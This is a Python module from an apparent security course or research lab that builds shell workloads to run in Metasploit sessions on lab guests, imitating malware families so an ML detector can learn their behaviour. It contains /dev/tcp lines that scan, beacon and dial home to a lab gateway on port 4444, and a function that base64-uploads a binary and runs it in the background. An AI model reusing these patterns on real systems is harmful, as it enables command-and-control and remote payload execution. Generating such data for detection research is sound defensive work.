CIS490/exploits/workloads.py

"""Per-sample-profile post-exploit workloads (driver v2).

The Tier-3 driver lands a session and then needs to drive *something*
in that session for the ``infected_running`` phase. Driver v1 ran
``yes > /dev/null`` for every sample, which is fine for proving the
pipe but is the wrong shape for ML — every Tier-3 episode produces
the same envelope regardless of which malware family we said it was.

Driver v2 maps ``sample.profile`` from the manifest to a distinct
in-session workload so each profile's envelope is observably
different on every collector:

  cpu-saturate    → 1-vCPU saturation, very low IO/net (XMRig shape)
  scan-and-dial   → SYN scans across the bridge IP space + periodic
                    dial-home (Mirai shape)
  io-walk         → fs traversal + random write spikes (ransomware shape)
  bursty-c2       → long idle, periodic short TCP egress bursts (Dridex)
  low-and-slow    → minimal CPU, periodic memory churn (Kovter)
  shell-resident  → one long-lived TCP socket pinned to a bridge IP,
                    occasional small command bursts (RAT)

Each profile returns a small shell command that backgrounds a loop
inside the session. The driver can stop them by killing the loop's
PID file or via a profile-specific kill command.

This module is intentionally *behaviorally diverse but harmless* —
it does NOT execute real malware. Real binaries land via the Tier-4
fetch+run path (separate work). What this gives us today is six
distinguishable in-guest envelopes the ML model can learn to
discriminate between *and* fall back to when a real sample isn't yet
staged.
"""

from __future__ import annotations

import logging
from dataclasses import dataclass

from samples.manifest import Sample


log = logging.getLogger("cis490.exploits.workloads")


@dataclass(frozen=True)
class Workload:
    """A pair of shell commands executable in a Metasploit shell session.

    ``start_cmd`` backgrounds a loop and writes its PID to ``pid_path``.
    ``stop_cmd`` kills the loop using that PID file. Both commands are
    expected to be POSIX-shell compatible and to leave the session in
    a usable state on completion (return code 0 on the prompt)."""
    profile: str
    start_cmd: str
    stop_cmd: str
    description: str

    @property
    def pid_path(self) -> str:
        return f"/tmp/.cis490-workload-{self.profile}.pid"


def _wrap_loop(name: str, body: str) -> Workload:
    """Common pattern: write a small wrapper script that loops ``body``,
    background it, and stash the wrapper's PID. Stop kills that PID +
    its child group."""
    pid_path = f"/tmp/.cis490-workload-{name}.pid"
    script_path = f"/tmp/.cis490-workload-{name}.sh"
    # Triple-quote the body into a heredoc so single-quotes inside the
    # body don't conflict with our outer single-quoting.
    start = (
        f"cat > {script_path} <<'CIS490_EOF'\n"
        f"#!/bin/sh\n"
        f"trap 'exit 0' TERM INT\n"
        f"while :; do\n"
        f"{body}\n"
        f"done\n"
        f"CIS490_EOF\n"
        f"chmod +x {script_path}; "
        f"nohup sh {script_path} </dev/null >/dev/null 2>&1 &\n"
        f"echo $! > {pid_path}\n"
        f"disown\n"
    )
    stop = (
        f"if [ -f {pid_path} ]; then "
        f"  kill -- -$(cat {pid_path}) 2>/dev/null; "
        f"  kill $(cat {pid_path}) 2>/dev/null; "
        f"  rm -f {pid_path} {script_path}; "
        f"fi; true\n"
    )
    return Workload(profile=name, start_cmd=start, stop_cmd=stop,
                    description="(generated)")


# ---------------------------------------------------------------------------
# Profile factories — each returns a Workload tuned to that family
# ---------------------------------------------------------------------------


def _cpu_saturate() -> Workload:
    """XMRig-class — sustained single-vCPU saturation, no IO, no net."""
    body = "  yes > /dev/null 2>&1 &\n  wait $!\n"
    w = _wrap_loop("cpu-saturate", body)
    return Workload(
        profile="cpu-saturate",
        start_cmd=w.start_cmd,
        stop_cmd=w.stop_cmd,
        description="100% CPU on 1 vCPU; no IO, no net",
    )


def _scan_and_dial() -> Workload:
    """Mirai-class — TCP SYN-style probe of bridge subnet + occasional
    "dial home" to the gateway. Heavy net, moderate CPU."""
    body = (
        "  for i in 1 2 3 4 5 6 7 8 9 10; do\n"
        "    (echo > /dev/tcp/10.200.0.$((i+1))/23) 2>/dev/null &\n"
        "    (echo > /dev/tcp/10.200.0.$((i+1))/2323) 2>/dev/null &\n"
        "  done\n"
        "  wait\n"
        "  (echo dial-home > /dev/tcp/10.200.0.1/4444) 2>/dev/null\n"
        "  sleep 2\n"
    )
    w = _wrap_loop("scan-and-dial", body)
    return Workload(
        profile="scan-and-dial",
        start_cmd=w.start_cmd,
        stop_cmd=w.stop_cmd,
        description="Periodic SYN-style scan across bridge IPs + dial-home",
    )


def _io_walk() -> Workload:
    """Cryptolocker-class — fs traversal + write spikes. Heavy disk."""
    body = (
        "  mkdir -p /tmp/.cis490-victim\n"
        "  for n in 1 2 3 4 5 6 7 8; do\n"
        "    dd if=/dev/urandom of=/tmp/.cis490-victim/f$n bs=4k count=64 2>/dev/null\n"
        "  done\n"
        "  for f in /tmp/.cis490-victim/*; do cat $f > /dev/null; done\n"
        "  sleep 1\n"
    )
    w = _wrap_loop("io-walk", body)
    return Workload(
        profile="io-walk",
        start_cmd=w.start_cmd,
        stop_cmd=w.stop_cmd,
        description="FS traversal + random-data writes, periodic re-read",
    )


def _bursty_c2() -> Workload:
    """Dridex-class — long idle, periodic small TCP burst to a fixed
    peer (the bridge gateway)."""
    body = (
        "  sleep 25\n"
        "  for i in 1 2 3; do\n"
        "    (echo c2-beacon-$$-$i > /dev/tcp/10.200.0.1/4445) 2>/dev/null\n"
        "    sleep 1\n"
        "  done\n"
    )
    w = _wrap_loop("bursty-c2", body)
    return Workload(
        profile="bursty-c2",
        start_cmd=w.start_cmd,
        stop_cmd=w.stop_cmd,
        description="Long idle + periodic 3-packet egress burst to gateway",
    )


def _low_and_slow() -> Workload:
    """Kovter-class — low CPU, periodic memory churn, no on-disk
    artifact. The hardest envelope to label from /proc alone."""
    body = (
        "  sleep 8\n"
        "  awk 'BEGIN { for(i=0;i<200000;i++) a[i]=i*i; }' >/dev/null 2>&1\n"
        "  sleep 4\n"
    )
    w = _wrap_loop("low-and-slow", body)
    return Workload(
        profile="low-and-slow",
        start_cmd=w.start_cmd,
        stop_cmd=w.stop_cmd,
        description="Periodic memory churn (~200k array allocs) on a slow cycle",
    )


def _shell_resident() -> Workload:
    """RAT-style — keep a single TCP socket open to the gateway with
    occasional command bursts. Long-lived flow, small bytes."""
    # nc on Metasploitable2 is GNU netcat; on busybox it's also there.
    # We use plain bash /dev/tcp redirects to avoid depending on nc.
    body = (
        "  exec 3<>/dev/tcp/10.200.0.1/4446 2>/dev/null && {\n"
        "    for i in 1 2 3 4 5 6; do\n"
        "      echo cmd-tick-$i >&3\n"
        "      sleep 5\n"
        "    done\n"
        "    exec 3<&-; exec 3>&-\n"
        "  }\n"
        "  sleep 5\n"
    )
    w = _wrap_loop("shell-resident", body)
    return Workload(
        profile="shell-resident",
        start_cmd=w.start_cmd,
        stop_cmd=w.stop_cmd,
        description="Resident TCP connection to gateway with periodic ticks",
    )


_FACTORIES = {
    "cpu-saturate":   _cpu_saturate,
    "scan-and-dial":  _scan_and_dial,
    "io-walk":        _io_walk,
    "bursty-c2":      _bursty_c2,
    "low-and-slow":   _low_and_slow,
    "shell-resident": _shell_resident,
}


def workload_for(sample: Sample | None) -> Workload | None:
    """Return the Workload matching ``sample.profile``, or None when
    no sample is supplied (driver v1 fallback path)."""
    if sample is None:
        return None
    factory = _FACTORIES.get(sample.profile)
    if factory is None:
        log.warning("no workload profile for %r; falling back to cpu-saturate", sample.profile)
        return _cpu_saturate()
    return factory()


def all_profiles() -> list[str]:
    return sorted(_FACTORIES.keys())


# ---------------------------------------------------------------------------
# Tier-4 path: real-binary upload + execute inside the shell session
# ---------------------------------------------------------------------------


def real_binary_workload(binary_bytes: bytes, sample: Sample | None = None) -> Workload:
    """Build a Workload that uploads ``binary_bytes`` to the guest via
    base64 over the shell session, executes it in the background, and
    kills it on stop. Used when ``sample.kind == "real"`` and the
    fetcher has staged the binary at samples/store/<sha256>.

    Caveats:
      - The session must support ``base64 -d`` (busybox does, GNU does).
      - For binaries above ~512 KiB we'd want chunked upload; today
        we send it as one ``shell_write`` and rely on msfrpc to handle
        the buffer. 64 KiB-128 KiB samples (the typical
        cryptominer / ELF backdoor size) work fine.
    """
    import base64 as _b64

    profile = (sample.profile if sample else "real-binary")
    pid_path = f"/tmp/.cis490-real-{profile}.pid"
    bin_path = f"/tmp/.cis490-real-{profile}.bin"
    b64_path = f"/tmp/.cis490-real-{profile}.b64"
    encoded = _b64.b64encode(binary_bytes).decode("ascii")
    # Insert newlines every 76 chars so the heredoc is friendly to
    # any line-buffered intermediary.
    chunked = "\n".join(encoded[i:i+76] for i in range(0, len(encoded), 76))

    start = (
        f"mkdir -p /tmp; "
        f"cat > {b64_path} <<'CIS490_B64_EOF'\n"
        f"{chunked}\n"
        f"CIS490_B64_EOF\n"
        f"base64 -d {b64_path} > {bin_path} && chmod +x {bin_path} && rm -f {b64_path}\n"
        f"nohup {bin_path} </dev/null >/dev/null 2>&1 &\n"
        f"echo $! > {pid_path}\n"
        f"disown\n"
    )
    stop = (
        f"if [ -f {pid_path} ]; then "
        f"  kill -- -$(cat {pid_path}) 2>/dev/null; "
        f"  kill $(cat {pid_path}) 2>/dev/null; "
        f"  rm -f {pid_path} {bin_path}; "
        f"fi; true\n"
    )
    return Workload(
        profile=f"real:{profile}",
        start_cmd=start,
        stop_cmd=stop,
        description=f"Real binary upload+execute ({len(binary_bytes)} bytes)",
    )